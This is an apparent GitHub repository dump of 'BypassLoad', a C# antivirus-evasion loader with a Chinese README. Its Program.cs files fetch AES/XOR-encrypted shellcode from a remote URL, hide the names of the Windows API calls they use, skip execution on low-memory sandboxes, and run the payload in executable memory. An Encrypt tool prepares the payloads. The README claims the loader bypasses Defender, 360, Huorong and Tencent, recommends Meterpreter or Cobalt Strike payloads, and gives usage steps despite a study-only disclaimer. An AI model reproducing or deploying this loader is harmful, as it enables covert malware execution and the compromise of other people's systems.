├── BypassLoad
├── App.config
├── BypassLoad.csproj
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
└── README.md
├── BypassLoad2.0
└── Program.cs
├── Encrypt
├── App.config
├── Encrypt.csproj
├── Program.cs
├── Properties
│ └── AssemblyInfo.cs
└── README.md
├── README.md
└── image
├── README.md
├── {4CC0F1A0-4C88-41d0-BA49-9ACAD8486F8C}.png
├── {AB76D9F0-6FF6-424c-BA8C-5AC09209FF61}.png
├── {CB42B60F-F029-46d4-ADF7-B80263FF72B8}.png
└── {CFE2B5D0-BF30-4063-9ADC-6426314F6132}.png
/BypassLoad/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/BypassLoad/BypassLoad.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {6BD436FD-275A-4CF6-ABEF-8C717C120253}
8 | WinExe
9 | BypassLoad
10 | BypassLoad
11 | v4.5.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | true
26 |
27 |
28 | AnyCPU
29 | pdbonly
30 | true
31 | bin\Release\
32 | TRACE
33 | prompt
34 | 4
35 | true
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
--------------------------------------------------------------------------------
/BypassLoad/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Diagnostics;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Management;
6 | using System.Net;
7 | using System.Runtime.InteropServices;
8 | using System.Security.Cryptography;
9 | using System.Text;
10 |
11 | namespace TCPMeterpreterProcess
12 | {
13 | class Program
14 | {
15 | internal static class Unsafe
16 | {
17 |
18 | [DllImport("Kernel32")]
19 | internal static extern IntPtr GetProcAddress(IntPtr hModule, string procname);
20 | [DllImport("Kernel32")]
21 | internal static extern IntPtr LoadLibrary(string moduleName);
22 | }
23 | internal delegate bool Write_Process_Memory(
24 | IntPtr hProcess,
25 | IntPtr lpBaseAddress,
26 | byte[] lpBuffer,
27 | uint nSize,
28 | out UIntPtr lpNumberOfBytesWritten);
29 | internal delegate bool Virtual_Free(
30 | IntPtr lpAddress,
31 | uint dwSize,
32 | uint dwFreeType);
33 | internal delegate UInt32 Virtual_Alloc(
34 | UInt32 lpStartAddr,
35 | UInt32 size,
36 | UInt32 flAllocationType,
37 | UInt32 flProtect);
38 | internal delegate IntPtr Create_Thread(
39 | UInt32 lpThreadAttributes,
40 | UInt32 dwStackSize,
41 | UInt32 lpStartAddress,
42 | IntPtr param,
43 | UInt32 dwCreationFlags,
44 | ref UInt32 lpThreadId);
45 | internal delegate UInt32 Wait_ForSingle_Object(
46 | IntPtr hHandle,
47 | UInt32 dwMilliseconds
48 | );
49 | static string key = "BsijVUv2v+Ql/NM3pQv8uQ==";
50 | static string k = "AyD9Y9zW9dtvfqJzJb33gA==";
51 | static string v = "YlnmzpP5550nqLxW+3wdNQ==";
52 | static string c = "AkJecKOgemBiLxROAtA9WA==";
53 | static string w = "cH9ouyrpylq2wwZqDlf5Uod4zw5Vx+OrGTO0iMg4ah8=";
54 | static void Main(string[] args)
55 | {
56 | run_1();
57 | //run_2();
58 | }
59 | private static void run_1()
60 | {
61 |
62 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3;
63 | ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT TotalPhysicalMemory FROM Win32_ComputerSystem");
64 | double totalMemoryMb = 0;
65 | foreach (ManagementObject obj in searcher.Get())
66 | {
67 | ulong totalMemoryBytes = (ulong)obj["TotalPhysicalMemory"];
68 | totalMemoryMb = (totalMemoryBytes / 1024f) / 1024f;
69 | }
70 | if (totalMemoryMb >= 3999)
71 | {
72 | byte[] shellcode = GetShellCode();
73 | IntPtr K_handler = Unsafe.LoadLibrary(AesDecrypt(k, key));
74 | IntPtr trva = Unsafe.GetProcAddress(K_handler, AesDecrypt(v, key));
75 |
76 | unhook(K_handler, trva);
77 |
78 | Virtual_Alloc va = (Virtual_Alloc)Marshal.GetDelegateForFunctionPointer(trva, typeof(Virtual_Alloc));
79 | IntPtr trct = Unsafe.GetProcAddress(K_handler, AesDecrypt(c, key));
80 | IntPtr trwf = Unsafe.GetProcAddress(K_handler, AesDecrypt(w, key));
81 |
82 | unhook(K_handler, trct);
83 | unhook(K_handler, trwf);
84 |
85 | Create_Thread ct = (Create_Thread)Marshal.GetDelegateForFunctionPointer(trct, typeof(Create_Thread));
86 | Wait_ForSingle_Object wfoi = (Wait_ForSingle_Object)Marshal.GetDelegateForFunctionPointer(trwf, typeof(Wait_ForSingle_Object));
87 |
88 | UInt32 mem = va(0, (UInt32)shellcode.Length, 0x1000, 0x40);
89 | Marshal.Copy(shellcode, 0, (IntPtr)(mem), shellcode.Length);
90 | UInt32 threadId = 0;
91 | IntPtr hThread = ct(0, 0, mem, IntPtr.Zero, 0, ref threadId);
92 | wfoi(hThread, 0xFFFFFFFF);
93 | }
94 | }
95 |
96 | private static void unhook(IntPtr K_handler,IntPtr inptrfa)
97 | {
98 | byte[] assemblyBytes = { };
99 | int size = sizeof(int);
100 | byte[] read = new byte[size];
101 | Marshal.Copy(inptrfa, read, 0, size);
102 | UIntPtr bytesWritten = UIntPtr.Zero;
103 |
104 | string Aes_vf = "oWoor6Bfv1W3yL4QM0gHMw==";
105 |
106 | IntPtr newMemory = Marshal.AllocHGlobal(read.Length);
107 | Marshal.Copy(read, 0, newMemory, read.Length);
108 | IntPtr vf_add = Unsafe.GetProcAddress(K_handler, AesDecrypt(Aes_vf, key));
109 | Virtual_Free vf = (Virtual_Free)Marshal.GetDelegateForFunctionPointer(vf_add, typeof(Virtual_Free));
110 |
111 | vf(inptrfa, 0, 0);
112 | }
113 | private static char[] Xor_Decrypt(char[] data)
114 | {
115 | char[] key = "qwertyuiopasdfghjklzxcvbnm".ToArray();
116 | for (int i = 0; i < data.Length; i++)
117 | {
118 | data[i] ^= key[i % key.Length];
119 | }
120 | return data;
121 | }
122 |
123 | private static string AesDecrypt(string str, string key)
124 | {
125 | if (string.IsNullOrEmpty(str)) return null;
126 | Byte[] toEncryptArray = Convert.FromBase64String(str);
127 | RijndaelManaged rm = new RijndaelManaged
128 | {
129 | Key = Encoding.UTF8.GetBytes(key),
130 | Mode = CipherMode.ECB,
131 | Padding = PaddingMode.PKCS7
132 | };
133 | ICryptoTransform cTransform = rm.CreateDecryptor();
134 | Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
135 | return Encoding.UTF8.GetString(resultArray);
136 | }
137 | private static byte[] GetShellCode()
138 | {
139 | string UserAgent = "/UiTAqd4SYU/cWqwQjNlt/0Slgaba9XvrXGtF4BGV+oI4+geZLyDFVmIWr236HHhnYtLHafUsVMkQbLhcdNw1XPhonbGx5BsjD4fMbiFDLc=";
140 | string path = System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase + "webpath.txt";
141 | string webpath = File.ReadAllText(path, Encoding.UTF8);
142 | HttpWebRequest req = (HttpWebRequest)WebRequest.Create(new Uri(webpath));
143 | req.Method = "GET";
144 | req.UserAgent = AesDecrypt(UserAgent, "BsijVUv2v+Ql/NM3pQv8uQ==");
145 | HttpWebResponse res = (HttpWebResponse)req.GetResponse();
146 | Stream stms = res.GetResponseStream();
147 | StreamReader reader = new StreamReader(stms, Encoding.UTF8);
148 | string result = reader.ReadToEnd();
149 | reader.Close();
150 | req.Abort();
151 | result = AesDecrypt(result, "BsijVUv2v+Ql/NM3pQv8uQ==");
152 | char[] c_result = result.ToCharArray();
153 | result = new string(Xor_Decrypt(c_result));
154 | byte[] shellcode = HexStringToBytes(result);
155 | return shellcode;
156 | }
157 | public static byte[] HexStringToBytes(string hexString)
158 | {
159 | hexString = hexString.Replace(" ", "").Replace("0x", "").Replace("0X", "").Replace("-", "").Replace(":", "").Replace(",", "").Replace(@"\x","").Replace(@"\X", "");
160 | if (hexString.Length % 2 != 0)
161 | throw new ArgumentException();
162 | return Enumerable.Range(0, hexString.Length / 2)
163 | .Select(i => Convert.ToByte(hexString.Substring(i * 2, 2), 16))
164 | .ToArray();
165 | }
166 | }
167 | }
168 |
--------------------------------------------------------------------------------
/BypassLoad/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("BypassLoad")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("BypassLoad")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 会使此程序集中的类型
18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("6bd436fd-275a-4cf6-abef-8c717c120253")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
33 | //通过使用 "*",如下所示:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/BypassLoad/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/BypassLoad2.0/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using System.Linq;
4 | using System.Management;
5 | using System.Net;
6 | using System.Reflection;
7 | using System.Runtime.InteropServices;
8 | using System.Security.Cryptography;
9 | using System.Text;
10 |
11 | namespace TCPMeterpreterProcess
12 | {
13 | class Program
14 | {
15 | internal static class Unsafe
16 | {
17 |
18 | [DllImport("Kernel32")]
19 | internal static extern IntPtr GetProcAddress(IntPtr hModule, string procname);
20 | [DllImport("Kernel32")]
21 | internal static extern IntPtr LoadLibrary(string moduleName);
22 | }
23 | internal delegate bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
24 | static void Main(string[] args)
25 | {
26 | run_2();
27 | }
28 | private static void run_2()
29 | {
30 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls | SecurityProtocolType.Tls11 | SecurityProtocolType.Tls12 | SecurityProtocolType.Ssl3;
31 | ManagementObjectSearcher searcher = new ManagementObjectSearcher("SELECT TotalPhysicalMemory FROM Win32_ComputerSystem");
32 | double totalMemoryMb = 0;
33 | string k = "AyD9Y9zW9dtvfqJzJb33gA==";
34 | string key = "BsijVUv2v+Ql/NM3pQv8uQ==";
35 | IntPtr K_handler = Unsafe.LoadLibrary(AesDecrypt(k, key));
36 | IntPtr trvp = Unsafe.GetProcAddress(K_handler, AesDecrypt("3T4eooJx0SrVxuzFC9jxuA==", key));
37 | foreach (ManagementObject obj in searcher.Get())
38 | {
39 | ulong totalMemoryBytes = (ulong)obj["TotalPhysicalMemory"];
40 | totalMemoryMb = (totalMemoryBytes / 1024f) / 1024f;
41 | }
42 | if (totalMemoryMb >= 3999)
43 | {
44 | byte[] shellcode = GetShellCode();
45 | UInt32 PAGE_EXECUTE_READWRITE = 0x40;
46 | UInt32 oldProtect;
47 | IntPtr mem = Marshal.AllocHGlobal(shellcode.Length);
48 | Marshal.Copy(shellcode, 0, mem, shellcode.Length);
49 | VirtualProtect vp = (VirtualProtect)Marshal.GetDelegateForFunctionPointer(trvp, typeof(VirtualProtect));
50 |
51 | vp(mem, (UIntPtr)shellcode.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
52 | var shellcodeDelegate = (Action)Marshal.GetDelegateForFunctionPointer(mem, typeof(Action));
53 | shellcodeDelegate();
54 | }
55 | }
56 | private static byte[] GetShellCode()
57 | {
58 | string path = System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase + "webpath.txt";
59 | string webpath = File.ReadAllText(path, Encoding.UTF8);
60 | WebRequest request = WebRequest.Create(webpath);
61 | WebResponse response = request.GetResponse();
62 | Stream s = response.GetResponseStream();
63 | StreamReader sr = new StreamReader(s, Encoding.GetEncoding("UTF-8"));
64 | string result = sr.ReadToEnd();
65 | result = AesDecrypt(result, "BsijVUv2v+Ql/NM3pQv8uQ==");
66 | char[] c_result = result.ToCharArray();
67 | result = new string(Xor_Decrypt(c_result));
68 | byte[] shellcode = HexStringToBytes(result);
69 | return shellcode;
70 | }
71 | private static char[] Xor_Decrypt(char[] data)
72 | {
73 | char[] key = "qwertyuiopasdfghjklzxcvbnm".ToArray();
74 | char[] encryptedData = new char[data.Length];
75 | for(int i = 0; i < data.Length; i++)
76 | {
77 | encryptedData[i] = (char)(data[i] ^ key[i % key.Length]);
78 | }
79 | return encryptedData;
80 | }
81 | private static string AesDecrypt(string str, string key)
82 | {
83 | if (string.IsNullOrEmpty(str)) return null;
84 | Byte[] toEncryptArray = Convert.FromBase64String(str);
85 | RijndaelManaged rm = new RijndaelManaged
86 | {
87 | Key = Encoding.UTF8.GetBytes(key),
88 | Mode = CipherMode.ECB,
89 | Padding = PaddingMode.PKCS7
90 | };
91 | ICryptoTransform cTransform = rm.CreateDecryptor();
92 | Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
93 | return Encoding.UTF8.GetString(resultArray);
94 | }
95 | public static byte[] HexStringToBytes(string hexString)
96 | {
97 | hexString = hexString.Replace(" ", "").Replace("0x", "").Replace("0X", "").Replace("-", "").Replace(":", "").Replace(",", "").Replace("\\x","").Replace("\\X","");
98 | if (hexString.Length % 2 != 0)
99 | throw new ArgumentException();
100 | return Enumerable.Range(0, hexString.Length / 2)
101 | .Select(i => Convert.ToByte(hexString.Substring(i * 2, 2), 16))
102 | .ToArray();
103 | }
104 | }
105 | }
--------------------------------------------------------------------------------
/Encrypt/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/Encrypt/Encrypt.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {C6CD5D62-40C7-4241-A3FD-F487C0150A90}
8 | Exe
9 | Decrypt
10 | Decrypt
11 | v4.5.2
12 | 512
13 | true
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
--------------------------------------------------------------------------------
/Encrypt/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 | using System.IO;
4 | using System.Linq;
5 | using System.Security.Cryptography;
6 | using System.Text;
7 | using System.Threading.Tasks;
8 |
9 | namespace Encrypt
10 | {
11 | class Program
12 | {
13 | static void Main(string[] args)
14 | {
15 | string path = System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase;
16 | string shellcode = File.ReadAllText(path + "shellcode.txt", Encoding.UTF8);
17 | shellcode = new string(xor(shellcode));
18 | string D_shellcode = AesEncrypt(shellcode, "BsijVUv2v+Ql/NM3pQv8uQ==");
19 | /*using (Aes aes = Aes.Create())
20 | {
21 | aes.KeySize = 128;
22 | aes.GenerateKey();
23 | Console.WriteLine(Convert.ToBase64String(aes.Key));
24 | }*/
25 | Console.WriteLine(D_shellcode);
26 | Console.ReadLine();
27 | }
28 | private static char[] xor(string str)
29 | {
30 | char[] data = str.ToArray();
31 | char[] key = "qwertyuiopasdfghjklzxcvbnm".ToArray();
32 | for (int i = 0; i < data.Length; i++)
33 | {
34 | data[i] ^= key[i % key.Length];
35 | }
36 |
37 | return data;
38 | }
39 | private static string AesEncrypt(string str, string key)
40 | {
41 | if (string.IsNullOrEmpty(str)) return null;
42 | Byte[] toEncryptArray = Encoding.UTF8.GetBytes(str);
43 |
44 | RijndaelManaged rm = new RijndaelManaged
45 | {
46 | Key = Encoding.UTF8.GetBytes(key),
47 | Mode = CipherMode.ECB,
48 | Padding = PaddingMode.PKCS7
49 | };
50 |
51 | ICryptoTransform cTransform = rm.CreateEncryptor();
52 | Byte[] resultArray = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length);
53 | return Convert.ToBase64String(resultArray);
54 | }
55 | }
56 | }
57 |
--------------------------------------------------------------------------------
/Encrypt/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("Decrypt")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("Decrypt")]
13 | [assembly: AssemblyCopyright("Copyright © 2024")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 会使此程序集中的类型
18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("c6cd5d62-40c7-4241-a3fd-f487c0150a90")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
33 | //通过使用 "*",如下所示:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/Encrypt/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # BypassLoad
2 | **通过远程加载AES + XOR异或加密shellcode的免杀加载器,无过多技术细节。**
3 |
4 | | shellcode | 360杀毒 | 火绒 | Defender | 腾讯电脑管家 | VT |
5 | | --------- | -----------| --- | ------- | ------------- | -- |
6 | | Meterpreter | √ | √ | √ | √ | 13/69 |
7 | | Cobalt Strike| √ | √ | √ | √ | 13/69 |
8 |
9 | 推荐Meterpreter生成shellcode,Cobalt Strike在尝试远程加载的shellcode时可能被360拦截
10 |
11 | 可自行`加壳`或`修改`程序尝试
12 |
13 | **releases程序可能会被杀软hash标记,保证免杀效果请自行编译**
14 |
15 | **如果你不知道怎么做,不推荐使用该程序**
16 |
17 | ## 声明:
18 | 1. 文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
19 | 2. 水平不高,纯萌新刚刚开始研究免杀,面向Github编程借鉴了很多大佬的代码。
20 | 3. 目前测试通过360、火绒、腾讯电脑管家、Defender。其他自行测试
21 |
22 | ## 使用指南
23 |
24 | 1. 编译BypassLoad和Encrypt
25 | 2. 将shellcode写入shellcode.txt然后运行Encrypt.exe进行加密编码(注意需要手动去除换行)
26 | 3. 将Encrypt.exe加密编码后的数据上传至服务器
27 | 4. 将远程访问链接写入webpath.txt
28 | 5. 运行BypassLoad.exe
29 |
30 | 注意:存在一段if判断内存是否小于4G,进行简单的反沙箱判断。
31 |
32 | ## 更新
33 | 2024年03月11日
34 | 1. 更新2.0 使用.Net内置函数替换原有使用的Windows函数
35 |
36 | 2024年01月29日
37 | 1. 效果优化,更换加载方式
38 | 2. 不再提供releases,请自行编译
39 |
40 | 2024年01月26日
41 | 1. 效果优化
42 | 2. 请不要将程序放入沙箱,以延长免杀时间
43 |
44 | 2024年01月24日
45 | 1. 效果优化,现已免杀Defender
46 | 2. 现在基于.NET Framework4.7.2框架
47 | 3. 移除了一段无效代码
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
--------------------------------------------------------------------------------
/image/README.md:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/image/{4CC0F1A0-4C88-41d0-BA49-9ACAD8486F8C}.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mangofang/BypassLoad/5a23d895b651088ce846df0aabe72acffe6553ab/image/{4CC0F1A0-4C88-41d0-BA49-9ACAD8486F8C}.png
--------------------------------------------------------------------------------
/image/{AB76D9F0-6FF6-424c-BA8C-5AC09209FF61}.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mangofang/BypassLoad/5a23d895b651088ce846df0aabe72acffe6553ab/image/{AB76D9F0-6FF6-424c-BA8C-5AC09209FF61}.png
--------------------------------------------------------------------------------
/image/{CB42B60F-F029-46d4-ADF7-B80263FF72B8}.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mangofang/BypassLoad/5a23d895b651088ce846df0aabe72acffe6553ab/image/{CB42B60F-F029-46d4-ADF7-B80263FF72B8}.png
--------------------------------------------------------------------------------
/image/{CFE2B5D0-BF30-4063-9ADC-6426314F6132}.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Mangofang/BypassLoad/5a23d895b651088ce846df0aabe72acffe6553ab/image/{CFE2B5D0-BF30-4063-9ADC-6426314F6132}.png
--------------------------------------------------------------------------------